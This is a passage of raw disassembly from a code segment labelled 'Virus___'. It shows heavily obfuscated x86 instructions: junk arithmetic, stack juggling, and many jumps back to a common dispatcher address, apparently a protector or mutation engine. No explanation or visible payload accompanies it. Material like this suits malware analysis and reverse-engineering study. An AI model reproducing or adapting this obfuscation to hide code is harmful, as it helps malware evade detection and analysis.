XREF: Virus___:0055A715j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_554CD1 ; --------------------------------------------------------------------------- loc_5520F1: ; CODE XREF: Virus___:005603BAj mov eax, 4 jmp loc_552B74 ; --------------------------------------------------------------------------- loc_5520FB: ; CODE XREF: Virus___:00552A8Cj shl ah, 2 not ah dec ah not ah sub ah, 58h add cl, 13h push edx mov dl, 0D1h dec dl add dl, 0AEh sub cl, dl pop edx sub cl, ah push eax mov al, 7Eh sub cl, 70h sub cl, 72h add cl, al push ebx mov bl, 72h add cl, bl pop ebx push ebx jmp loc_55F101 ; --------------------------------------------------------------------------- loc_55212E: ; CODE XREF: Virus___:00552C00j add esp, 4 add edx, ebp pop ebp push ebx mov ebx, 4 sub edx, ebx mov ebx, [esp] push ecx mov ecx, esp jmp loc_55009F ; --------------------------------------------------------------------------- loc_552147: ; CODE XREF: Virus___:0055D696j xchg ebp, [esp] mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_552152: ; CODE XREF: Virus___:00550BDAj mov [esp], eax push dword ptr [esp] mov ebx, [esp] push ecx mov ecx, esp jmp loc_55665D ; --------------------------------------------------------------------------- loc_552163: ; CODE XREF: Virus___:00561BB3j mov ecx, 2C0673AEh jmp loc_55C5E5 ; --------------------------------------------------------------------------- loc_55216D: ; CODE XREF: Virus___:00559734j pop edi add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_557E83 ; --------------------------------------------------------------------------- loc_55217F: ; CODE XREF: Virus___:0055AFEBj xor esi, [esp] jmp loc_551DAC ; --------------------------------------------------------------------------- loc_552187: ; CODE XREF: Virus___:00559293j push dword ptr [esp] jmp loc_55134D ; --------------------------------------------------------------------------- loc_55218F: ; CODE XREF: Virus___:00552B5Fj add ebx, esi mov esi, [esp] jmp loc_558081 ; --------------------------------------------------------------------------- loc_552199: ; CODE XREF: Virus___:005516A3j sub edi, 4 xchg edi, [esp] jmp loc_55EF7D ; --------------------------------------------------------------------------- loc_5521A7: ; CODE XREF: Virus___:0055A514j pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx push edi push 7AC4h mov [esp], eax mov eax, 459C6D33h mov edi, 7FE29A3Dh sub edi, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_556A3B ; --------------------------------------------------------------------------- loc_5521DF: ; CODE XREF: Virus___:005596E8j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55FEE0 ; --------------------------------------------------------------------------- loc_5521F5: ; CODE XREF: Virus___:0055915Dj neg ebx sub ebx, 0FFFFFFFFh shr ebx, 4 jmp loc_5597E6 ; --------------------------------------------------------------------------- loc_552202: ; CODE XREF: Virus___:005556B8j pop ebp sub esp, 4 mov [esp], ebx mov ebx, 62605FE3h jmp loc_553A6A ; --------------------------------------------------------------------------- loc_552216: ; CODE XREF: Virus___:0055565Fj mov ah, 0BAh or cl, ah pop ax dec cl sub cl, 4Ah sub cl, 6Ah sub dh, cl pop ecx push ebx mov bh, 0CEh sub bh, 63h dec bh xor bh, 81h jmp loc_551F16 ; --------------------------------------------------------------------------- loc_552237: ; CODE XREF: Virus___:00554919j xor eax, ebx push 2A0Ch jmp loc_5580A5 ; --------------------------------------------------------------------------- loc_552243: ; CODE XREF: Virus___:00557B5Cj mov dh, al mov eax, [esp] add esp, 4 jmp loc_563612 ; --------------------------------------------------------------------------- loc_552250: ; CODE XREF: Virus___:0055E314j push ax mov ah, 86h sub bl, ah jmp loc_556A62 ; --------------------------------------------------------------------------- loc_55225B: ; CODE XREF: Virus___:0055201Bj pop edx sub esp, 4 mov [esp], ebx mov ebx, edi push 77CAh mov [esp], ebx pop ebp pop ebx pop edi neg ebp shl ebp, 7 push ecx mov ecx, 28463C6Ah xor ebp, ecx jmp loc_558FFC ; --------------------------------------------------------------------------- loc_552281: ; CODE XREF: Virus___:005605D2j mov esi, ebx jmp loc_554885 ; --------------------------------------------------------------------------- push small 0F21h mov [esp], bx push 6744h mov [esp], eax sub esp, 4 mov [esp], edx push ebx mov bh, ch jmp loc_5637A9 ; --------------------------------------------------------------------------- loc_5522A6: ; CODE XREF: Virus___:005568D6j sub esp, 4 mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 push ebp jmp loc_551C02 ; --------------------------------------------------------------------------- loc_5522C0: ; CODE XREF: Virus___:0055B68Fj mov ebx, 140978B0h add ebx, 3ABFABA1h xor edi, ebx pop ebx mov eax, edi mov edi, [esp] add esp, 4 add eax, 1 push ebp jmp loc_55D958 ; --------------------------------------------------------------------------- loc_5522E1: ; CODE XREF: Virus___:00560044j mov eax, 55535D5h jmp loc_55407F ; --------------------------------------------------------------------------- loc_5522EB: ; CODE XREF: Virus___:0055EBF2j sub ecx, 5B08354Ch neg ecx not ecx jmp loc_555C87 ; --------------------------------------------------------------------------- loc_5522FA: ; CODE XREF: Virus___:005563C7j push 56CBh mov [esp], edi mov edi, esp push ecx jmp loc_5505A9 ; --------------------------------------------------------------------------- loc_55230A: ; CODE XREF: Virus___:0055E37Fj pop edi xor edi, 2EF56FC3h mov edx, edi pop edi pop eax jmp loc_556F5D ; --------------------------------------------------------------------------- loc_55231A: ; CODE XREF: Virus___:0055BADFj push 4FFFh mov [esp], esi push 64E24A3Eh pop esi sub dword ptr [esp+4], 130D4CADh sub [esp+4], esi add dword ptr [esp+4], 130D4CADh push dword ptr [esp] jmp loc_55D0E8 ; --------------------------------------------------------------------------- loc_552344: ; CODE XREF: Virus___:0055A146j sub esi, 2 xchg esi, [esp] jmp loc_55165E ; --------------------------------------------------------------------------- loc_55234F: ; CODE XREF: Virus___:00551018j push edx jmp loc_556A42 ; --------------------------------------------------------------------------- loc_552355: ; CODE XREF: Virus___:005554B5j shl ebx, 6 sub esp, 4 mov [esp], eax push edi push 66C16748h pop edi neg edi jmp loc_550E7E ; --------------------------------------------------------------------------- loc_55236C: ; CODE XREF: Virus___:0055908Dj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_552371: ; CODE XREF: Virus___:005518E5j mov ecx, eax push ecx push 5CDEh mov [esp], ebp push 4D77h mov [esp], ecx mov ecx, 29117B28h sub ecx, 0FFFFFFFFh jmp loc_559C4F ; --------------------------------------------------------------------------- loc_552394: ; CODE XREF: Virus___:00555CD2j sub ecx, 130F6974h jmp loc_55302D ; --------------------------------------------------------------------------- loc_55239F: ; CODE XREF: Virus___:00559676j push ecx mov ecx, 368D0C6Dh mov ebp, 27172BDBh xor ebp, ecx pop ecx xor ebp, 7BBD7EFEh sub ebp, 6A275944h mov ebx, ebp pop ebp add edx, ebx pop ebx xchg edx, [esp] pop esp add edx, eax sub esp, 4 mov [esp], esi mov esi, 7F863FC6h jmp loc_55F179 ; --------------------------------------------------------------------------- loc_5523D8: ; CODE XREF: Virus___:0056240Bj not bp jmp loc_55C321 ; --------------------------------------------------------------------------- loc_5523E0: ; CODE XREF: Virus___:00553B8Ej xchg eax, [esp] pop esp xor ebx, [esp] xor [esp], ebx jmp loc_554290 ; --------------------------------------------------------------------------- loc_5523EF: ; CODE XREF: Virus___:0055804Bj pop esi neg edi neg edi sub edi, 0BAC27CD3h add eax, 23694BDBh sub eax, edi sub eax, 23694BDBh pop edi sub esi, 58D55375h add esi, eax push ecx jmp loc_55B621 ; --------------------------------------------------------------------------- loc_552415: ; CODE XREF: Virus___:0055457Dj dec ecx jmp loc_55A4E8 ; --------------------------------------------------------------------------- loc_55241B: ; CODE XREF: Virus___:00554880j xor edx, 0D080CF5h pop ebp jmp loc_5615A3 ; --------------------------------------------------------------------------- loc_552427: ; CODE XREF: Virus___:00553540j xchg ebp, [esp] mov esp, [esp] movzx ax, byte ptr [eax] push 7B4Bh mov [esp], edx jmp loc_55C5EC ; --------------------------------------------------------------------------- loc_55243E: ; CODE XREF: Virus___:00556EFDj pop ebx xchg ecx, [esp] pop esp mov [esp], ecx push esi mov esi, 7A897FE3h xor esi, 15C66662h push esi add dword ptr [esp], 2C8755B7h jmp loc_552F99 ; --------------------------------------------------------------------------- loc_55245F: ; CODE XREF: Virus___:0055369Cj add dword ptr [esp], 4 pop edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], edi mov edi, 2CF04644h mov eax, edi mov edi, [esp] add esp, 4 push 6158h mov [esp], edx push ebp push 5F49425Fh pop ebp add ebp, 42FF078Ah xor ebp, 0A3263CCDh jmp loc_563EB7 ; --------------------------------------------------------------------------- loc_5524AD: ; CODE XREF: Virus___:005502CAj push 7568h mov [esp], ecx jmp loc_55BD30 ; --------------------------------------------------------------------------- loc_5524BA: ; CODE XREF: Virus___:0055D37Aj xor esi, 625D7D3Fh jmp loc_557524 ; --------------------------------------------------------------------------- loc_5524C5: ; CODE XREF: Virus___:00555BFDj add dword ptr [esp+4], 3C91607Ch pop eax pop dword ptr [esp] push 7E90h mov [esp], ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5524E8: ; CODE XREF: Virus___:0055BCC2j push ax mov al, bl mov bl, ch mov ch, al pop ax xor [esp], ch xor ch, [esp] xor [esp], ch jmp loc_54F7ED ; --------------------------------------------------------------------------- lodsd push ecx push eax mov eax, 78AA3475h not eax not eax sub eax, 54DFF23Ah mov ecx, eax pop eax or ecx, 540446CAh not ecx xor ecx, 493B6369h or ecx, 17EF07CFh add ecx, 2CD65118h add eax, 6F6B2C1Dh sub eax, 38F221Fh sub eax, ecx add eax, 38F221Fh sub esp, 4 mov [esp], edi mov edi, 6F6B2C1Dh sub eax, 228668C4h sub eax, edi add eax, 228668C4h pop edi mov ecx, [esp] add esp, 4 sub eax, 65915B5Eh push ebp mov ebp, 1FB02D6Dh jmp loc_550CC8 ; --------------------------------------------------------------------------- loc_552570: ; CODE XREF: Virus___:005612F9j mov bh, 0D1h shl bh, 4 sub bh, 94h sub esp, 4 mov [esp], edx mov dl, 9Fh shl dl, 1 and dl, 0E6h or dl, 4Ch push ecx mov ch, 25h or ch, 17h xor ch, 0BDh add ch, 1 sub ch, 17h and dl, ch pop ecx sub dl, 1 push ecx mov cl, 73h push ebx mov bl, 31h add bl, 0D0h xor bl, 59h and cl, bl pop ebx sub cl, 67h add dl, cl pop ecx sub bh, dl pop edx sub esp, 4 mov [esp], eax mov al, 0F7h add bh, al pop eax xor cl, bh pop ebx xor cl, 0B5h push ebx mov bl, cl mov dl, bl pop ebx jmp loc_554000 ; --------------------------------------------------------------------------- loc_5525D1: ; CODE XREF: Virus___:005533FEj add ecx, esi pop esi add ecx, 2 xchg ecx, [esp] pop esp sub esp, 4 jmp loc_55D4E0 ; --------------------------------------------------------------------------- loc_5525E3: ; CODE XREF: Virus___:00554913j mov [esp], ebp push ebx jmp loc_55B783 ; --------------------------------------------------------------------------- loc_5525EC: ; CODE XREF: Virus___:0055025Ej mov ebp, 0BD02F42h or ebp, 501147BCh xchg ecx, ebp not ecx xchg ecx, ebp dec ebp push 1590h jmp loc_55FD05 ; --------------------------------------------------------------------------- loc_552608: ; CODE XREF: Virus___:0056336Aj mov esi, 59016017h mov ecx, 0A6FE9FE9h jmp loc_557B4C ; --------------------------------------------------------------------------- loc_552617: ; CODE XREF: Virus___:00555D27j sub bx, 833h push ebp mov bp, bx mov dx, bp pop ebp pop ebx jmp loc_55A3CB ; --------------------------------------------------------------------------- loc_55262A: ; CODE XREF: Virus___:00560060j pop esi sub esi, eax mov eax, esi pop esi neg eax dec eax jmp loc_554C69 ; --------------------------------------------------------------------------- loc_552638: ; CODE XREF: Virus___:00564CB3j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55263D: ; CODE XREF: Virus___:00553A6Bj mov ecx, 62605FE7h xor ebx, ecx pop ecx jmp loc_559D17 ; --------------------------------------------------------------------------- loc_55264A: ; CODE XREF: Virus___:00559799j mov edx, esp jmp loc_55DDF9 ; --------------------------------------------------------------------------- loc_552651: ; CODE XREF: Virus___:005535FCj pop ebp xor eax, edi jmp loc_550973 ; --------------------------------------------------------------------------- loc_552659: ; CODE XREF: Virus___:00553165j add ebx, ebp pop ebp push ebp jmp loc_564148 ; --------------------------------------------------------------------------- loc_552662: ; CODE XREF: Virus___:00562622j push 0ED3h mov [esp], edx push eax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_552671: ; CODE XREF: Virus___:0055FE7Cj add eax, ebx jmp loc_562320 ; --------------------------------------------------------------------------- loc_552678: ; CODE XREF: Virus___:005585CEj xor eax, esi push 1AE1h mov [esp], edx push 3B72h mov [esp], edi sub esp, 4 mov [esp], edx mov edx, 4CB36054h push edx pop edi jmp loc_55F992 ; --------------------------------------------------------------------------- loc_55269C: ; CODE XREF: Virus___:0056331Cj sub ch, 0EFh mov dh, ch mov ecx, [esp] jmp loc_56098F ; --------------------------------------------------------------------------- loc_5526A9: ; CODE XREF: Virus___:0055C03Ej mov ebp, 7AEE0DDEh jmp loc_559647 ; --------------------------------------------------------------------------- loc_5526B3: ; CODE XREF: Virus___:00559D9Cj sub [esp], eax sub esp, 4 mov [esp], ebx mov ebx, 1C362FC6h inc ebx dec ebx dec ebx and ebx, 226845C6h xor ebx, 5AA66E54h add ebx, 1A65F45Ah jmp loc_56082A ; --------------------------------------------------------------------------- loc_5526DB: ; CODE XREF: Virus___:0054FD08j add esp, 4 pop dword ptr [esp] jmp loc_55022A ; --------------------------------------------------------------------------- loc_5526E6: ; CODE XREF: Virus___:0055BEAEj and esi, 1FD45CC8h and esi, 76F04DFAh add esi, 0EB6FB384h add edx, esi pop esi jmp loc_5551BA ; --------------------------------------------------------------------------- loc_552700: ; CODE XREF: Virus___:00559A06j add esp, 4 jmp loc_563DE9 ; --------------------------------------------------------------------------- loc_552708: ; CODE XREF: Virus___:0055AD84j mov [esp], esi push edx push 7A2A1A93h pop edx add edx, 0B456205Fh push ebx mov ebx, edx jmp loc_55366A ; --------------------------------------------------------------------------- loc_552720: ; CODE XREF: Virus___:0055D2F2j pop ebx sub ebx, 62DC020Ah mov ebp, ebx pop ebx and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or edx, eax jmp loc_5541CF ; --------------------------------------------------------------------------- loc_55273A: ; CODE XREF: Virus___:005630FEj add esp, 4 sub edi, 7B3874B7h add edi, eax add edi, 7B3874B7h pop eax xor edi, [esp] xor [esp], edi jmp loc_562410 ; --------------------------------------------------------------------------- loc_552757: ; CODE XREF: Virus___:00554FD7j add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55FB37 ; --------------------------------------------------------------------------- loc_552768: ; CODE XREF: Virus___:005563A3j xor ebp, 1F80733h jmp loc_563043 ; --------------------------------------------------------------------------- loc_552773: ; CODE XREF: Virus___:0054F9BCj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_552778: ; CODE XREF: Virus___:00553508j mov edx, [esp] jmp loc_55BA85 ; --------------------------------------------------------------------------- loc_552780: ; CODE XREF: Virus___:00552E2Aj sub bl, ch add bl, 89h pop ecx jmp loc_55C5D0 ; --------------------------------------------------------------------------- loc_55278B: ; CODE XREF: Virus___:00552C58j add esp, 4 add edi, 4 jmp loc_55F099 ; --------------------------------------------------------------------------- loc_552799: ; CODE XREF: Virus___:00560A14j add dword ptr [esp+4], 1E7259DEh add [esp+4], edi push edx mov edx, 1E7259DEh sub [esp+8], edx jmp loc_5631A4 ; --------------------------------------------------------------------------- loc_5527B4: ; CODE XREF: Virus___:00551169j push edi mov edi, 1ECB6883h push edx push 251137B1h pop edx and edx, 7BE605B2h jmp loc_558002 ; --------------------------------------------------------------------------- loc_5527CC: ; CODE XREF: Virus___:0055BF30j add ebp, edi sub ebp, 47FC068Dh pop edi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx push esi mov esi, 4 jmp loc_55FE24 ; --------------------------------------------------------------------------- loc_5527FC: ; CODE XREF: Virus___:0055A176j pop esi dec esi and esi, 29B65906h jmp loc_55C180 ; --------------------------------------------------------------------------- loc_552809: ; CODE XREF: Virus___:0055849Ej sub ebp, 797339A6h sub ebp, 1 shl ebp, 3 xor ebp, 26435722h xor eax, ebp pop ebp sub [edi+24h], eax pop eax loc_552822: ; CODE XREF: Virus___:005622CFj push 7517h mov [esp], ebx jmp loc_5585E1 ; --------------------------------------------------------------------------- loc_55282F: ; CODE XREF: Virus___:00556FF5j xor cl, 4Dh mov bl, cl pop ecx jmp loc_55D8D8 ; --------------------------------------------------------------------------- loc_55283A: ; CODE XREF: Virus___:00557180j add ebx, eax add ebx, 440A7C33h pop eax push edi mov edi, 44951AD2h dec edi sub edi, 68391E37h dec edi shr edi, 6 add edi, 647605E8h jmp loc_552D29 ; --------------------------------------------------------------------------- loc_55285F: ; CODE XREF: Virus___:0055E6C1j mov [esp], ebx jmp loc_561764 ; --------------------------------------------------------------------------- loc_552867: ; CODE XREF: Virus___:0055C035j add edx, ebx pop ebx xchg edx, [esp] jmp loc_561023 ; --------------------------------------------------------------------------- loc_552872: ; CODE XREF: Virus___:00561EC8j mov edx, [esp] push esi push esp mov esi, [esp] add esp, 4 add esi, 4 push edi mov edi, 4 add esi, edi mov edi, [esp] jmp loc_55C353 ; --------------------------------------------------------------------------- loc_552893: ; CODE XREF: Virus___:00555620j push esp pop ebx sub esp, 4 mov [esp], ebp push 58B6h jmp loc_55BC18 ; --------------------------------------------------------------------------- loc_5528A8: ; CODE XREF: Virus___:0055BCBAj push edi not dword ptr [esp] pop edi xor edi, 112C1413h push ebx mov ebx, 78491AA3h jmp loc_55BAE4 ; --------------------------------------------------------------------------- loc_5528BE: ; CODE XREF: Virus___:0055395Aj pop ecx pop eax jmp loc_5611D3 ; --------------------------------------------------------------------------- loc_5528C5: ; CODE XREF: Virus___:0055317Aj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5605D7 ; --------------------------------------------------------------------------- loc_5528D9: ; CODE XREF: Virus___:00558C6Aj mov esi, 245202CCh or esi, 21A73EA5h dec esi and esi, 4E8B62E7h sub esi, 27293F3Ah sub esi, 0DD59E3A6h mov ebx, esi pop esi add esi, ebx pop ebx add esi, 4 xchg esi, [esp] mov esp, [esp] push eax push 4D246C1Ah push dword ptr [esp] jmp loc_55ED91 ; --------------------------------------------------------------------------- loc_552914: ; CODE XREF: Virus___:0055139Aj inc ebx jmp loc_562315 ; --------------------------------------------------------------------------- loc_55291A: ; CODE XREF: Virus___:0055F401j mov ebx, [esp] jmp loc_5565D8 ; --------------------------------------------------------------------------- loc_552922: ; CODE XREF: Virus___:00562100j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp sub [esp], eax pushf jmp loc_550176 ; --------------------------------------------------------------------------- loc_552935: ; CODE XREF: Virus___:0056188Bj add esp, 4 jmp loc_55B73C ; --------------------------------------------------------------------------- loc_552940: ; CODE XREF: Virus___:0055AD32j mov ecx, 51EC0789h push ecx jmp loc_55A66C ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_552953: ; CODE XREF: Virus___:00553735j mov edi, 3A042407h jmp loc_560447 ; --------------------------------------------------------------------------- loc_55295D: ; CODE XREF: Virus___:00557E42j mov eax, 0E375EA58h sub edx, 5DED0628h add edx, eax add edx, 5DED0628h pop eax add eax, edx jmp loc_5540C8 ; --------------------------------------------------------------------------- loc_552978: ; CODE XREF: Virus___:0055D9E6j push esp mov esi, [esp] add esp, 4 jmp loc_555A82 ; --------------------------------------------------------------------------- loc_552984: ; CODE XREF: Virus___:0054FD5Dj mov [esp], ecx mov ecx, 15E84DE0h shl ecx, 1 not ecx jmp loc_54FAD9 ; --------------------------------------------------------------------------- loc_552995: ; CODE XREF: Virus___:0055958Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_55AE16 ; --------------------------------------------------------------------------- loc_5529B0: ; CODE XREF: Virus___:0055F840j xor ebp, 43ADF598h add ecx, ebp pop ebp add ebx, ecx pop ecx xor edx, ebx mov ebx, [esp] add esp, 4 jmp loc_550F42 ; --------------------------------------------------------------------------- loc_5529CC: ; CODE XREF: Virus___:005590FCj mov ebp, 4 add edx, ebp pop ebp push edi jmp loc_553F52 ; --------------------------------------------------------------------------- loc_5529DA: ; CODE XREF: Virus___:00550892j add ebp, edi sub ebp, 0A9B0CDEh pop edi shl ebp, 4 sub ebp, 0FCC4F131h push ebp push edx push 43026164h jmp loc_55C5CA ; --------------------------------------------------------------------------- loc_5529F8: ; CODE XREF: Virus___:00556BA0j mov al, 22h and al, 0B0h dec al jmp loc_55679B ; --------------------------------------------------------------------------- loc_552A03: ; CODE XREF: Virus___:0055A4ACj mov [esp], esi jmp loc_55A6E7 ; --------------------------------------------------------------------------- loc_552A0B: ; CODE XREF: Virus___:005626D1j mov [esp], eax mov al, 0CDh xor ch, al jmp loc_554DD2 ; --------------------------------------------------------------------------- loc_552A17: ; CODE XREF: Virus___:00551AF2j mov ebp, [esp] add esp, 4 sub edi, 39182631h add edi, esi push eax mov eax, 150C52D3h xor eax, 2C1474E2h add edi, eax mov eax, [esp] add esp, 4 push dword ptr [esp] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov ax, [esp] jmp loc_5617E2 ; --------------------------------------------------------------------------- loc_552A65: ; CODE XREF: Virus___:00561DC8j sub al, 0AAh add al, dh add al, 0AAh add al, 52h add al, 69h mov dx, [esp] jmp loc_559577 ; --------------------------------------------------------------------------- loc_552A78: ; CODE XREF: Virus___:0055AABDj mov esi, [esp] add esp, 4 push esi jmp loc_553256 ; --------------------------------------------------------------------------- loc_552A87: ; CODE XREF: Virus___:005504C7j xchg eax, [esp] pop esp pop ebx jmp loc_5520FB ; --------------------------------------------------------------------------- loc_552A91: ; CODE XREF: Virus___:00564699j not ah xchg ah, dh jmp loc_564402 ; --------------------------------------------------------------------------- loc_552A9A: ; CODE XREF: Virus___:00555A5Dj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [esp] pop esp push edx push esp pop edx add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_55EAF7 ; --------------------------------------------------------------------------- loc_552AC9: ; CODE XREF: Virus___:0055E31Fj add esi, 60E724A1h add esi, ecx sub esi, 60E724A1h pop ecx xchg esi, [esp] pop esp push ecx mov ecx, esp push eax push edi push 4E759BEh pop edi xor edi, 10C3135Ch mov eax, edi pop edi sub eax, 1C1375DEh jmp loc_555854 ; --------------------------------------------------------------------------- loc_552AFA: ; CODE XREF: Virus___:005587CDj push ax mov al, 0A6h neg al inc al push dx mov dh, 0ADh and al, dh pop dx jmp loc_5629FD ; --------------------------------------------------------------------------- loc_552B0F: ; CODE XREF: Virus___:00555210j mov esi, [esp] jmp loc_560220 ; --------------------------------------------------------------------------- loc_552B17: ; CODE XREF: Virus___:0054FAF3j dec esi xor esi, 22D5493Fh add esi, 0DE69539Eh add edx, esi pop esi push ecx push edx push ecx mov ecx, 46FC36C2h push esi mov esi, 30AC0BD7h push esi not dword ptr [esp] pop esi shl esi, 7 jmp loc_55D10E ; --------------------------------------------------------------------------- loc_552B42: ; CODE XREF: Virus___:00562D69j inc edx jmp loc_556B6E ; --------------------------------------------------------------------------- loc_552B48: ; CODE XREF: Virus___:0056330Cj push esp pop esi jmp loc_55A140 ; --------------------------------------------------------------------------- loc_552B4F: ; CODE XREF: Virus___:00554208j pop ebx sub esp, 4 mov [esp], esi push edx mov edx, 4 mov esi, edx pop edx jmp loc_55218F ; --------------------------------------------------------------------------- loc_552B64: ; CODE XREF: Virus___:0055CA8Aj add ebx, ecx add [ebx], ebp mov ebx, [esp] add esp, 4 pop ecx jmp loc_55DD94 ; --------------------------------------------------------------------------- loc_552B74: ; CODE XREF: Virus___:005520F6j sub edx, eax pop eax jmp loc_550D78 ; --------------------------------------------------------------------------- loc_552B7C: ; CODE XREF: Virus___:0055D18Dj add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], esi push 4 pop esi sub edx, esi pop esi xchg edx, [esp] mov esp, [esp] mov [esp], edi mov edi, esp push edx mov edx, 4 add edi, 3C4065C2h sub edi, 46B2784h add edi, edx add edi, 46B2784h sub edi, 3C4065C2h push dword ptr [esp] pop edx add esp, 4 push esi mov esi, 4 jmp loc_563DA4 ; --------------------------------------------------------------------------- loc_552BDE: ; CODE XREF: Virus___:005622F3j pop eax jmp loc_5564B8 ; --------------------------------------------------------------------------- loc_552BE4: ; CODE XREF: Virus___:00558829j mov dh, bl pop ebx push eax mov al, 37h jmp loc_5584B2 ; --------------------------------------------------------------------------- loc_552BEF: ; CODE XREF: Virus___:0056274Ej xor dword ptr [esp], 4A097134h pop ebp xor ebp, 4A097134h mov edi, [esp] jmp loc_55212E ; --------------------------------------------------------------------------- loc_552C05: ; CODE XREF: Virus___:0055441Fj xchg ecx, [esp] pop esp add eax, 564B771Eh push edx mov edx, 69E7786Ah dec edx jmp loc_563570 ; --------------------------------------------------------------------------- loc_552C1A: ; CODE XREF: Virus___:00562465j xchg edx, [esp] pop esp add esi, 0DFBF4EC2h mov edi, esi pop esi shr edi, 7 jmp loc_553BE5 ; --------------------------------------------------------------------------- loc_552C2F: ; CODE XREF: Virus___:00562192j inc ebx not ebx add ebx, 798F7C90h xor ebx, 1D7166ADh add eax, ebx pop ebx jmp loc_5506AA ; --------------------------------------------------------------------------- loc_552C46: ; CODE XREF: Virus___:0054FAD4j pop esp mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov edi, [esp] jmp loc_55278B ; --------------------------------------------------------------------------- loc_552C5D: ; CODE XREF: Virus___:0055FCC4j mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg esi, [esp] pop esp jmp loc_55D13F ; --------------------------------------------------------------------------- loc_552C7C: ; CODE XREF: Virus___:00559D2Ej push esp mov eax, [esp] add esp, 4 push 2EFCh jmp loc_5502A9 ; --------------------------------------------------------------------------- loc_552C8D: ; CODE XREF: Virus___:00558EA6j push dword ptr [esp] push dword ptr [esp] mov esi, [esp] jmp loc_550806 ; --------------------------------------------------------------------------- loc_552C9B: ; CODE XREF: Virus___:005595DEj mov edx, ebx mov ebx, [esp] add esp, 4 sub edx, 3CEF6A84h sub edx, 96327707h sub eax, edx mov edx, [esp] add esp, 4 sub eax, ebx push esi mov esi, 67A0821h shr esi, 5 xor esi, 68FA40F6h and esi, 4ECA0592h push ebx mov ebx, 3D657196h push eax mov eax, 1 jmp loc_55C144 ; --------------------------------------------------------------------------- loc_552CDF: ; CODE XREF: Virus___:00563CBEj sub eax, ebp pop ebp sub eax, ebp push edi mov edi, 56FA790Ch add edi, 2DF06D89h jmp loc_560888 ; --------------------------------------------------------------------------- loc_552CF5: ; CODE XREF: Virus___:0055AE1Fj mov [esp], ebp push 32F74F0Fh push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_558050 ; --------------------------------------------------------------------------- loc_552D1A: ; CODE XREF: Virus___:0055BBB6j mov [esp], edi jmp loc_56183F ; --------------------------------------------------------------------------- loc_552D22: ; CODE XREF: Virus___:00555DD6j add esi, eax jmp loc_563A82 ; --------------------------------------------------------------------------- loc_552D29: ; CODE XREF: Virus___:0055285Aj add edi, 1331E553h add edx, edi pop edi jmp loc_5629E9 ; --------------------------------------------------------------------------- loc_552D37: ; CODE XREF: Virus___:00560771j pop ecx jmp loc_55FF08 ; --------------------------------------------------------------------------- loc_552D3D: ; CODE XREF: Virus___:00553DD1j mov [esp], ebp push esp push dword ptr [esp] pop ebp push ebp push esp pop ebp push ebx mov ebx, 16230594h neg ebx xor ebx, 0A123ECAh neg ebx push edi jmp loc_55E2FA ; --------------------------------------------------------------------------- loc_552D5E: ; CODE XREF: Virus___:0056147Bj push dword ptr [esp] pop eax push 0B90h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp not cl sub cl, 7Dh mov bl, cl jmp loc_55F65D ; --------------------------------------------------------------------------- loc_552D85: ; CODE XREF: Virus___:0055BB7Dj add esp, 4 jmp loc_554B76 ; --------------------------------------------------------------------------- loc_552D8D: ; CODE XREF: Virus___:0055BA1Fj sub esp, 2 mov [esp], cx mov ch, bh push ecx jmp loc_55F326 ; --------------------------------------------------------------------------- loc_552D9C: ; CODE XREF: Virus___:0054FAA3j mov edx, [esp] add esp, 4 xchg edi, edx xchg edx, edi not edx xchg edx, edi push 7A10h mov [esp], edx push edi jmp loc_55DB8A ; --------------------------------------------------------------------------- mov ax, [esp] push 4E81h jmp loc_55E5A4 ; --------------------------------------------------------------------------- loc_552DC9: ; CODE XREF: Virus___:0055C8B9j push ebp add dword ptr [esp], 63DB37B0h pop eax jmp loc_558A7E ; --------------------------------------------------------------------------- loc_552DD7: ; CODE XREF: Virus___:0055ECCDj add edx, eax add edx, 7B605955h push esi mov esi, 11F10FC2h xor esi, 0B796631h sub edx, esi pop esi pop eax xchg edx, [esp] mov esp, [esp] movzx eax, al lea eax, [edi+eax*4] jmp loc_560C06 ; --------------------------------------------------------------------------- loc_552E00: ; CODE XREF: Virus___:0055075Cj add ebx, ecx pop ecx sub ebx, 63383DE9h add ebp, ebx pop ebx jmp loc_56397B ; --------------------------------------------------------------------------- loc_552E11: ; CODE XREF: Virus___:0055790Ej xchg edi, [esp] jmp loc_563ECB ; --------------------------------------------------------------------------- loc_552E19: ; CODE 